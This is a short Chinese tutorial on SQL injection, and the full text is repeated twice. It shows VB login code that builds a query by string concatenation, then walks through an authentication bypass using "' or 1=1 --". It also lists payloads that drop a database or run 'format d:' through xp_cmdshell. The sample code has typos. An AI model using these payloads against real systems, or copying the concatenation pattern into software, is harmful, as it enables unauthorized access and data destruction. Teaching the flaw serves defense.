SQL注入多见于动态SQL,利用拼接SQL的不安全性,在用户输入时输入特定的字符串、已到达非正常的目的。
举个最简单的例子,假设没有一定的安全意识,客户端用一下VB代码构造查询和验证用户身份
Visual Basic code12 sql=" select count(*) as cnt from dbo.users where usernmae='"_ & InputUserName & "' and pass'" & InputPass "';"
正常的用户user1在输入框内输入
InputUserName ='user1'
InputPass='123'
代码构造成下面的查询返回行数结果1.
SQL code1 select count(*) as cnt from dbo.users where usernmae='user1' and pass='123'
返回结果>0,则允许用户登陆。
sql注入示例,在输入框输入
InputUserName ="' or 1=1 --"
InputPass= ""
VB代码将构造成:
SQL code1 select count(*) as cnt from dbo.users where usernmae='' or 1=1 --'and pass= '';
注入原理是关闭了用户名前面开始的引号,添加表达式1=1,破折号'--'注释后面其余部分代码。这样返回的结果总是会大于0.那么就可以正常登陆系统了。
还可以用户名输入框内输入
"' or 1=1 drop database <db_name>--"
--或者
"'or 1=1 EXEC master.dbo.xp_cmdshell"format d:"--"
SQL注入多见于动态SQL,利用拼接SQL的不安全性,在用户输入时输入特定的字符串、已到达非正常的目的。
举个最简单的例子,假设没有一定的安全意识,客户端用一下VB代码构造查询和验证用户身份
Visual Basic code12 sql=" select count(*) as cnt from dbo.users where usernmae='"_ & InputUserName & "' and pass'" & InputPass "';"
正常的用户user1在输入框内输入
InputUserName ='user1'
InputPass='123'
代码构造成下面的查询返回行数结果1.
SQL code1 select count(*) as cnt from dbo.users where usernmae='user1' and pass='123'
返回结果>0,则允许用户登陆。
sql注入示例,在输入框输入
InputUserName ="' or 1=1 --"
InputPass= ""
VB代码将构造成:
SQL code1 select count(*) as cnt from dbo.users where usernmae='' or 1=1 --'and pass= '';
注入原理是关闭了用户名前面开始的引号,添加表达式1=1,破折号'--'注释后面其余部分代码。这样返回的结果总是会大于0.那么就可以正常登陆系统了。
还可以用户名输入框内输入
"' or 1=1 drop database <db_name>--"
--或者
"'or 1=1 EXEC master.dbo.xp_cmdshell"format d:"--"